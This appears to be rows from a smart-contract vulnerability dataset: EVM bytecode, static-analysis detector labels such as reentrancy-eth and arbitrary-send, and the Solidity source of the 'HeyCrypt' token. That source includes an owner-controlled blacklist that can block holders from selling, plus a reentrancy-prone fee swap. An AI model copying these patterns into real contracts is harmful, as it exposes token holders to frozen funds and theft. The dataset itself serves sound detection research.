c565b341561032457600080fd5b6102ea610c3d565b341561033757600080fd5b610106600160a060020a0360043516610c4c565b341561035657600080fd5b6101c2610d8a565b341561036957600080fd5b61010660046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d9095505050505050565b341561043857600080fd5b610106610ed7565b341561044b57600080fd5b6101e7610f74565b341561045e57600080fd5b6101e7611002565b341561047157600080fd5b610106600160a060020a036004351663ffffffff60243516611074565b341561049957600080fd5b6101e7600160a060020a036004351661111e565b34156104b857600080fd5b6102ea6111b9565b6000805433600160a060020a039081169116146104dc57600080fd5b600254600160a060020a0316156104f257600080fd5b61050482600160a060020a03166111c8565b151561050f57600080fd5b5060028054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b6000805433600160a060020a0390811691161461055d57600080fd5b600254600160a060020a0316151561057457600080fd5b600254600160a060020a031663d834f1e88585856040518463ffffffff1660e060020a028152600401808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156105e15780820151838201526020016105c9565b50505050905090810190601f16801561060e5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561064457808201518382015260200161062c565b50505050905090810190601f1680156106715780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b151561069257600080fd5b5af1151561069f57600080fd5b505050604051805195945050505050565b60035481565b60005433600160a060020a039081169116146106d157600080fd5b6003547f7472616e73666572000000000000000000000000000000000000000000000000141561083057600254600454600160a060020a039091169063a9059cbb908290633ce6d3999060405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561075157600080fd5b5af1151561075e57600080fd5b5050506040518051600254909150600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156107b957600080fd5b5af115156107c657600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561081357600080fd5b5af1151561082057600080fd5b505050604051805190505061090e565b6003547f6275726e00000000000000000000000000000000000000000000000000000000141561090e57600254600160a060020a03166342966c68816370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156108b057600080fd5b5af115156108bd57600080fd5b5050506040518051905060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156108fd57600080fd5b5af1151561090a57600080fd5b5050505b610916610ed7565b151561092157600080fd5b610929611002565b6001805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a1565b60008054819033600160a060020a039081169116146109aa57600080fd5b600254600160a060020a031615156109c157600080fd5b60055460ff168551106109d357600080fd5b835185511480156109e5575082518551145b15156109f057600080fd5b5060005b8451811015610b1a57600254600160a060020a031663a9059cbb868381518110610a1a57fe5b90602001906020020151868481518110610a3057fe5b9060200190602002015160405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a7d57600080fd5b5af11515610a8a57600080fd5b5050506040518051905050828181518110610aa157fe5b90602001906020020151858281518110610ab757fe5b90602001906020020151600160a060020a03167f70ec481ba4b47b6c2d522792de049b862d7999ea395e3fb8f6a680f3e3ba3eff868481518110610af757fe5b9060200190602002015160405190815260200160405180910390a36001016109f4565b506001949350505050565b6000805433600160a060020a03908116911614610b4157600080fd5b600254600160a060020a03161515610b5857600080fd5b600254600160a060020a031663d173e5788360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610ba857600080fd5b5af11515610bb557600080fd5b505050604051805150506006805460018101610bd18382611202565b5060009182526020909120018054600160a060020a03841673ffffffffffffffffffffffffffffffffffffffff19909116179055506001919050565b600154600160a060020a031681565b60015474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031681565b60008054819033600160a060020a03908116911614610c6a57600080fd5b600254600160a060020a03161515610c8157600080fd5b600254600160a060020a03166322935caa8460405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610cd157600080fd5b5af11515610cde57600080fd5b50505060405180515060009150505b600654811015610d7f5782600160a060020a0316600682815481101515610d1057fe5b600091825260209091200154600160a060020a03161415610d77576000600682815481101515610d3c57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055610d7f565b600101610ced565b600191505b50919050565b60045481565b6000805433600160a060020a03908116911614610dac57600080fd5b600254600160a060020a03161515610dc357600080fd5b600254600160a060020a03166393a91f258585856040518463ffffffff1660e060020a02815260040180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b83811015610e31578082015183820152602001610e19565b50505050905001848103835286818151815260200191508051906020019060200280838360005b83811015610e70578082015183820152602001610e58565b50505050905001848103825285818151815260200191508051906020019060200280838360005b83811015610eaf578082015183820152602001610e97565b505050509050019650505050505050602060405180830381600087803b151561069257600080fd5b60008054819033600160a060020a03908116911614610ef557600080fd5b5060005b600654811015610f6b57600680546000919083908110610f1557fe5b600091825260209091200154600160a060020a03161415610f3557610f63565b610f61600682815481101515610f4757fe5b600091825260209091200154600160a060020a0316610c4c565b505b600101610ef9565b600191505b5090565b60015433600160a060020a03908116911614610f8f57600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60005433600160a060020a0390811691161461101d57600080fd5b600054600160a060020a03167f86d076ecf250a6d90a67a7c75317f44709d5001395ecf1df6d9dad5278f1e68160405160405180910390a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000805433600160a060020a0390811691161461109057600080fd5b600254600160a060020a031615156110a757600080fd5b600254600160a060020a0316633a96d16d848460405163ffffffff84811660e060020a028252600160a060020a0393909316600482015291166024820152604401602060405180830381600087803b151561110157600080fd5b5af1151561110e57600080fd5b5050506040518051949350505050565b60005433600160a060020a0390811691161461113957600080fd5b600160a060020a038116151561114e57600080fd5b600054600160a060020a0380831691167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600160a060020a031681565b600080600160a060020a03831615156111e45760009150610d84565b50813b60008111156111f95760019150610d84565b50600092915050565b8154818355818115116112265760008381526020902061122691810190830161122b565b505050565b61124591905b80821115610f705760008155600101611231565b905600a165627a7a7230582050ee1086babb9de9db8af139f592716d0ce444a0ffe3fd7ab8987b996d84cbb80029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
9,537
0xac84fbca49da2b6674d1ce70472f6c4d09bc8a1c
/* __ __ ______ __ __ ______ ______ __ __ ______ ______ /\ \_\ \ /\ ___\ /\ \_\ \ /\ ___\ /\ == \ /\ \_\ \ /\ == \ /\__ _\ \ \ __ \ \ \ __\ \ \____ \ \ \ \____ \ \ __< \ \____ \ \ \ _-/ \/_/\ \/ \ \_\ \_\ \ \_____\ \/\_____\ \ \_____\ \ \_\ \_\ \/\_____\ \ \_\ \ \_\ \/_/\/_/ \/_____/ \/_____/ \/_____/ \/_/ /_/ \/_____/ \/_/ \/_/ */ //https://t.me/heycryptmessenger //https://heycrypt.io // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract HeyCrypt is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tfee; uint256 private _mfee; uint256 private _sellFee; uint256 private _buyFee; address payable private _feeAddress; string private constant _name = unicode"HeyCrypt"; string private constant _symbol = unicode"HeyCrypt"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingStarted; bool private inSwap = false; bool private swapEnable = false; bool private removeMaxTxn = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxHeldAmount = _tTotal; event MaxTxAmountUpdated(uint _maxHeldAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _buyFee = 3; _sellFee = 3; _feeAddress = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTxn(bool onoff) external onlyOwner() { removeMaxTxn = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _tfee = 0; _mfee = _buyFee; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTxn) { uint walletBalance = balanceOf(address(to)); require(amount <= _maxTxAmount); require(amount.add(walletBalance) <= _maxHeldAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _tfee = 0; _mfee = _sellFee; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnable) { uint burnAmount = contractTokenBalance/6; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount , uint256 maxHeldAmount) external onlyOwner() { if (maxTxAmount > 300000000000 * 10**9) { _maxTxAmount = maxTxAmount; _maxHeldAmount = maxHeldAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingStarted); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnable = true; removeMaxTxn = true; _maxTxAmount = 2000000000000 * 10**9; _maxHeldAmount = 4000000000000 * 10**9; tradingStarted = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tfee, _mfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setFee(uint256 buyFee, uint256 sellFee)external onlyOwner() { if (sellFee <= _sellFee && buyFee <= _buyFee) { _buyFee = buyFee; _sellFee = sellFee; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb1461030b578063b515566a1461032b578063c3c8cd801461034b578063c9567bf914610360578063dd62ed3e1461037557600080fd5b8063715018a614610299578063733ec069146102ae5780638da5cb5b146102ce57806395d89b411461012f5780639e78fb4f146102f657600080fd5b80632b51106a116100e75780632b51106a14610208578063313ce5671461022857806352f7c988146102445780636fc3eaec1461026457806370a082311461027957600080fd5b806306fdde031461012f578063095ea7b31461016f57806318160ddd1461019f57806323b872dd146101c6578063273123b7146101e657600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082018252600881526712195e50dc9e5c1d60c21b6020820152905161016691906115c6565b60405180910390f35b34801561017b57600080fd5b5061018f61018a366004611640565b6103bb565b6040519015158152602001610166565b3480156101ab57600080fd5b5069152d02c7e14af68000005b604051908152602001610166565b3480156101d257600080fd5b5061018f6101e136600461166c565b6103d2565b3480156101f257600080fd5b506102066102013660046116ad565b61043b565b005b34801561021457600080fd5b506102066102233660046116d8565b61048f565b34801561023457600080fd5b5060405160098152602001610166565b34801561025057600080fd5b5061020661025f3660046116f5565b6104d7565b34801561027057600080fd5b50610206610529565b34801561028557600080fd5b506101b86102943660046116ad565b610560565b3480156102a557600080fd5b50610206610582565b3480156102ba57600080fd5b506102066102c93660046116f5565b6105f6565b3480156102da57600080fd5b506000546040516001600160a01b039091168152602001610166565b34801561030257600080fd5b5061020661063c565b34801561031757600080fd5b5061018f610326366004611640565b61080b565b34801561033757600080fd5b5061020661034636600461172d565b610818565b34801561035757600080fd5b506102066108aa565b34801561036c57600080fd5b506102066108ea565b34801561038157600080fd5b506101b86103903660046117f2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c8338484610aa3565b5060015b92915050565b60006103df848484610bc7565b610431843361042c856040518060600160405280602881526020016119f1602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610eb5565b610aa3565b5060019392505050565b6000546001600160a01b0316331461046e5760405162461bcd60e51b81526004016104659061182b565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104b95760405162461bcd60e51b81526004016104659061182b565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016104659061182b565b600b5481111580156105155750600c548211155b1561052557600c829055600b8190555b5050565b6000546001600160a01b031633146105535760405162461bcd60e51b81526004016104659061182b565b4761055d81610eef565b50565b6001600160a01b0381166000908152600260205260408120546103cc90610f29565b6000546001600160a01b031633146105ac5760405162461bcd60e51b81526004016104659061182b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106205760405162461bcd60e51b81526004016104659061182b565b681043561a882930000082111561052557601091909155601155565b6000546001600160a01b031633146106665760405162461bcd60e51b81526004016104659061182b565b600f54600160a01b900460ff161561067d57600080fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156106e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107069190611860565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107779190611860565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e89190611860565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103c8338484610bc7565b6000546001600160a01b031633146108425760405162461bcd60e51b81526004016104659061182b565b60005b8151811015610525576001600660008484815181106108665761086661187d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108a2816118a9565b915050610845565b6000546001600160a01b031633146108d45760405162461bcd60e51b81526004016104659061182b565b60006108df30610560565b905061055d81610fad565b6000546001600160a01b031633146109145760405162461bcd60e51b81526004016104659061182b565b600e546109369030906001600160a01b031669152d02c7e14af6800000610aa3565b600e546001600160a01b031663f305d719473061095281610560565b6000806109676000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f491906118c4565b5050600f8054686c6b935b8bbd40000060105568d8d726b7177a80000060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a7f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055d91906118f2565b6001600160a01b038316610b055760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610465565b6001600160a01b038216610b665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610465565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c2b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610465565b6001600160a01b038216610c8d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610465565b60008111610c9a57600080fd5b6001600160a01b03831660009081526006602052604090205460ff1615610cc057600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610d0257506001600160a01b03821660009081526005602052604090205460ff16155b15610ea5576000600955600c54600a55600f546001600160a01b038481169116148015610d3d5750600e546001600160a01b03838116911614155b8015610d6257506001600160a01b03821660009081526005602052604090205460ff16155b8015610d775750600f54600160b81b900460ff165b15610db2576000610d8783610560565b9050601054821115610d9857600080fd5b601154610da58383611127565b1115610db057600080fd5b505b600f546001600160a01b038381169116148015610ddd5750600e546001600160a01b03848116911614155b8015610e0257506001600160a01b03831660009081526005602052604090205460ff16155b15610e13576000600955600b54600a555b6000610e1e30610560565b600f54909150600160a81b900460ff16158015610e495750600f546001600160a01b03858116911614155b8015610e5e5750600f54600160b01b900460ff165b15610ea3576000610e7060068361190f565b9050610e7c8183611931565b9150610e8781611186565b610e9082610fad565b478015610ea057610ea047610eef565b50505b505b610eb08383836111bc565b505050565b60008184841115610ed95760405162461bcd60e51b815260040161046591906115c6565b506000610ee68486611931565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610525573d6000803e3d6000fd5b6000600754821115610f905760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610465565b6000610f9a6111c7565b9050610fa683826111ea565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff557610ff561187d565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561104e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110729190611860565b816001815181106110855761108561187d565b6001600160a01b039283166020918202929092010152600e546110ab9130911684610aa3565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110e4908590600090869030904290600401611948565b600060405180830381600087803b1580156110fe57600080fd5b505af1158015611112573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061113483856119b9565b905083811015610fa65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610465565b600f805460ff60a81b1916600160a81b17905580156111ac576111ac3061dead83610bc7565b50600f805460ff60a81b19169055565b610eb083838361122c565b60008060006111d4611323565b90925090506111e382826111ea565b9250505090565b6000610fa683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611367565b60008060008060008061123e87611395565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061127090876113f2565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461129f9086611127565b6001600160a01b0389166000908152600260205260409020556112c181611434565b6112cb848361147e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131091815260200190565b60405180910390a3505050505050505050565b600754600090819069152d02c7e14af680000061134082826111ea565b82101561135e5750506007549269152d02c7e14af680000092509050565b90939092509050565b600081836113885760405162461bcd60e51b815260040161046591906115c6565b506000610ee6848661190f565b60008060008060008060008060006113b28a600954600a546114a2565b92509250925060006113c26111c7565b905060008060006113d58e8787876114f7565b919e509c509a509598509396509194505050505091939550919395565b6000610fa683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610eb5565b600061143e6111c7565b9050600061144c8383611547565b306000908152600260205260409020549091506114699082611127565b30600090815260026020526040902055505050565b60075461148b90836113f2565b60075560085461149b9082611127565b6008555050565b60008080806114bc60646114b68989611547565b906111ea565b905060006114cf60646114b68a89611547565b905060006114e7826114e18b866113f2565b906113f2565b9992985090965090945050505050565b60008080806115068886611547565b905060006115148887611547565b905060006115228888611547565b90506000611534826114e186866113f2565b939b939a50919850919650505050505050565b600082611556575060006103cc565b600061156283856119d1565b90508261156f858361190f565b14610fa65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610465565b600060208083528351808285015260005b818110156115f3578581018301518582016040015282016115d7565b81811115611605576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461055d57600080fd5b803561163b8161161b565b919050565b6000806040838503121561165357600080fd5b823561165e8161161b565b946020939093013593505050565b60008060006060848603121561168157600080fd5b833561168c8161161b565b9250602084013561169c8161161b565b929592945050506040919091013590565b6000602082840312156116bf57600080fd5b8135610fa68161161b565b801515811461055d57600080fd5b6000602082840312156116ea57600080fd5b8135610fa6816116ca565b6000806040838503121561170857600080fd5b50508035926020909101359150565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561174057600080fd5b823567ffffffffffffffff8082111561175857600080fd5b818501915085601f83011261176c57600080fd5b81358181111561177e5761177e611717565b8060051b604051601f19603f830116810181811085821117156117a3576117a3611717565b6040529182528482019250838101850191888311156117c157600080fd5b938501935b828510156117e6576117d785611630565b845293850193928501926117c6565b98975050505050505050565b6000806040838503121561180557600080fd5b82356118108161161b565b915060208301356118208161161b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561187257600080fd5b8151610fa68161161b565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156118bd576118bd611893565b5060010190565b6000806000606084860312156118d957600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561190457600080fd5b8151610fa6816116ca565b60008261192c57634e487b7160e01b600052601260045260246000fd5b500490565b60008282101561194357611943611893565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119985784516001600160a01b031683529383019391830191600101611973565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119cc576119cc611893565b500190565b60008160001904831182151516156119eb576119eb611893565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fcbf440311fed71186d5cd0a2f4e7eccc6fa5a84902fb48f013480e979f099bf64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,538
0x8a5d92fd1f3297b4b8dd493b8dbce949a99bf2dc
